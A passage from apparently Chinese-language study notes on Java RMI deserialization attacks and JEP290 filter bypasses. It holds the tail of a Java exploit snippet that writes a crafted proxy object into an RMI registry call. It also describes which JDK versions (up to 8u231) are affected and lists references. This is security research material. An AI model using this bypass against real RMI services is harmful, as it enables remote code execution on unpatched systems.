(Operation[]) fields_1[0 ].get(registry); RemoteCall var2 = ref2.newCall((RemoteObject) registry, operations, 2 , 4905912898345647071L ); ObjectOutput var3 = var2.getOutputStream(); var3.writeObject(proxy); ref2.invoke(var2); } }
bind只能Server端使用,lookup攻击面更广
流程图 画了一个REJECTED和一个Bypass的流程图,对比加深理解
JDK-8u231修复 JDK-8u231在dirty函数添加了Filter的限制,故不能使用UnicastRef绕过
UnicastServerRef Bypass JEP290
漏洞范围:<= JDK-8u231
国外安全研究员找到了一条新的方法去Bypass JEP290
详见Hu3sky学长分析 RMI Bypass Jep290(Jdk8u231) 反序列化漏洞分析
参考 RMI组成与原理
分布式架构基础:Java RMI详解
Java RMI学习总结
针对RMI服务的九重攻击
Java 回显综述
JAVA RMI 反序列化攻击 & JEP290 Bypass分析
深入RMI工作原理
RMI Bypass Jep290(Jdk8u231) 反序列化漏洞分析